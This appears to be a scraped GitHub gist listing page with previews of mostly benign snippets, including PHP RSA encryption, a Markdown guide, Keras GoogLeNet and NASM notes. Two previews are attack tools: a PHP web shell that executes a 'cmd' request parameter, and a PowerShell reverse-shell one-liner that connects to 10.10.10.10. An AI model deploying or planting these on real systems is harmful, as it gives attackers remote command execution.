Skip to content

Instantly share code, notes, and snippets.

View KnightChaser's full-sized avatar
📻
Buscando la libertad para algún día

Garam Lee KnightChaser

📻
Buscando la libertad para algún día
View GitHub Profile
@kijin
kijin / rsa_encrypt.php
Created January 23, 2014 04:55
PHP에서 RSA 개인키/공개키 조합을 사용하여 서버에 비밀번호를 저장할 필요 없이 문자열을 암호화하는 법
<?php
// 비대칭 알고리듬인 RSA를 사용하여 문자열을 암호화하는 법.
// 개인키 비밀번호는 암호화할 때는 필요없고 복호화할 때만 입력하면 되므로
// 서버에 저장할 필요 없이 그때그때 관리자가 입력하도록 해도 된다.
// PHP 5.2 이상, openssl 모듈이 필요하다.
// RSA 개인키, 공개키 조합을 생성한다.
// 키 생성에는 시간이 많이 걸리므로, 한 번만 생성하여 저장해 두고 사용하면 된다.
// 단, 비밀번호는 개인키를 사용할 때마다 필요하다.
@ihoneymon
ihoneymon / how-to-write-by-markdown.md
Last active June 11, 2025 06:17
마크다운(Markdown) 사용법

[공통] 마크다운 markdown 작성법

영어지만, 조금 더 상세하게 마크다운 사용법을 안내하고 있는
"Markdown Guide (https://www.markdownguide.org/)" 를 보시는 것을 추천합니다. ^^

아, 그리고 마크다운만으로 표현이 부족하다고 느끼신다면, HTML 태그를 활용하시는 것도 좋습니다.

1. 마크다운에 관하여

@lawrencegripper
lawrencegripper / invokeWithCookie.ps1
Last active February 7, 2025 07:01
Invoke-webrequest With Cookie
$downloadToPath = "c:\somewhere\on\disk\file.zip"
$remoteFileLocation = "http://somewhere/on/the/internet"
$session = New-Object Microsoft.PowerShell.Commands.WebRequestSession
$cookie = New-Object System.Net.Cookie
$cookie.Name = "cookieName"
$cookie.Value = "valueOfCookie"
@meritozh
meritozh / exec.cpp
Created April 5, 2016 07:12
use c++ to execute a command and get the output of command. It only grab stdout. Use perror or add "2>&1" for grabbing stderr.
#include <iostream>
#include <cstdarg>
#include <string>
#include <fstream>
#include <memory>
#include <cstdio>
std::string exec(const char* cmd) {
std::shared_ptr<FILE> pipe(popen(cmd, "r"), pclose);
if (!pipe) return "ERROR";
@devudit
devudit / closest-lower-higher-number.php
Last active January 6, 2024 18:22
Get closest, lower and higher number as a associative array from a array
<?php
function closestLowerHigherNr($array, $nr) {
sort($array);
$re_arr = array('lower'=>min(current($array), $nr), 'higher'=>max(end($array), $nr), 'closest'=>$nr);
foreach($array AS $num){
if($nr > $num) $re_arr['lower'] = $num;
else if($nr <= $num){
$re_arr['higher'] = $num;
break;
}
@joelouismarino
joelouismarino / googlenet.py
Last active October 24, 2024 05:51
GoogLeNet in Keras
from __future__ import print_function
import imageio
from PIL import Image
import numpy as np
import keras
from keras.layers import Input, Dense, Conv2D, MaxPooling2D, AveragePooling2D, ZeroPadding2D, Dropout, Flatten, Concatenate, Reshape, Activation
from keras.models import Model
from keras.regularizers import l2
from keras.optimizers import SGD
@steveharoz
steveharoz / .block
Last active June 9, 2025 05:47 — forked from mbostock/.block
d3-force testing ground
license: gpl-3.0
height: 1030
scrolling: yes
<html>
<body>
<form method="GET" name="<?php echo basename($_SERVER['PHP_SELF']); ?>">
<input type="TEXT" name="cmd" autofocus id="cmd" size="80">
<input type="SUBMIT" value="Execute">
</form>
<pre>
<?php
if(isset($_GET['cmd']))
{
@yellowbyte
yellowbyte / compiling_asm.md
Last active May 27, 2025 21:57
how to assemble assembly with NASM assembler to 32-bit or 64-bit ELF binary with or without libc

32-bit ELF binary

how to assemble and link:

nasm -f elf32 -o <filename>.o <filename>.asm
ld -m elf_i386 -o <filename> <filename>.o

template code (hello world):

section .text
global _start
@egre55
egre55 / powershell_reverse_shell.ps1
Last active June 2, 2025 00:20
powershell reverse shell one-liner by Nikhil SamratAshok Mittal @samratashok
# Nikhil SamratAshok Mittal: http://www.labofapenetrationtester.com/2015/05/week-of-powershell-shells-day-1.html
$client = New-Object System.Net.Sockets.TCPClient('10.10.10.10',80);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex ". { $data } 2>&1" | Out-String ); $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()